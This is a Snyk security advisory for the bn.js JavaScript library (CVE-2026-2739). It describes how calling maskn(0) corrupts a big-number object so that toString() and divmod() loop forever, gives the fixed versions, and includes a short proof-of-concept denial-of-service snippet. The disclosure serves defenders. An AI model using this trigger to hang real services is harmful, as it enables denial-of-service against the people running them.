Infinite loop Affecting bn.js package, versions <4.12.3>=5.0.0 <5.2.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-BNJS-15274301
  • published19 Feb 2026
  • disclosed8 Feb 2026
  • creditKr0emer

Introduced: 8 Feb 2026

NewCVE-2026-2739  (opens in a new tab)
CWE-835  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade bn.js to version 4.12.3, 5.2.3 or higher.

Overview

Affected versions of this package are vulnerable to Infinite loop. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.

PoC

const BN = require('bn.js'); // any version up to 5.2.2

const x = new BN('1', 10).maskn(0);

// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length       =', x.length);        // 0 (INVALID - should be >= 1)
console.log('x.isZero()     =', x.isZero());      // false (WRONG - should be true)

// This will hang forever:
// console.log(x.toString());

CVSS Base Scores

version 4.0
version 3.1